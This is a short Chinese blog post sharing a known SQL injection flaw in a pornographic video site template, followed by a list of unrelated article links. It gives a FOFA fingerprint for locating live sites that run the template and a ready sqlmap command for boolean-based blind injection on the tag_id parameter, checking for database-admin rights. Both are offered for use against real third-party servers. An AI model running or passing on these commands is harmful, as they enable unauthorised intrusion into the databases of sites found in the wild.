一个日h站的Nday
一个
2023-06-13 09:18:22 时间
0x00 前言
今天先来无事的我翻起了qq收藏夹。忽然发现了一个去年EDUSRC群里一个老表发的洞。今天就给大家发出来耍耍。 抵制黄色网站人人有责，打造绿色上网环境。 面对正规网站时候，请不要做非法测试！！！ 废话就不多说了。
0x01正文
fofa语句
body="<script type=text/javascript src=/tpl/default/static/js/jquery-3.2.1.min.js></script>"sqlmap语句
python sqlmap.py -u "http://URL/video/lists.html?orderCode=lastTime&tag_id=0&sub_cid=0&cid=0" --technique B -p tag_id --risk 3 --random-agent --is-dba下面贴个库名的图
相关文章
- 将你的PC变成一个Jupyter服务器
- 排序、搜索、 动态规划，DeepMind用一个神经算法学习器给解决了
- 一个帅气的py爬虫模块
- 5 分钟，教你用 Python 制作一个生日提醒！
- 一个数据库文件引发的全美航班停飞事件
- git clone 一个 SpringBoot 项目，如何在本地运行?
- 说走就走的旅行？你需要一个旅行必备清单
- 乘法在Linux系统中实现命令行快速乘法运算（linux上一个命令）
- 用 PGP 保护代码完整性（五）：将子密钥移到一个硬件设备中
- SQL Server的行级安全：一个强力的安全性增强手段（sqlserver行安全）
- 分享一道笔试题[有n个直线最多可以把一个平面分成多少个部分]
- 关于在IE下的一个安全BUG--可用于跟踪用户的系统鼠标位置
- iframe窗口高度自适应的又一个巧妙实现思路
- 一个好用的正则匹配电话号手机号邮箱网址的方法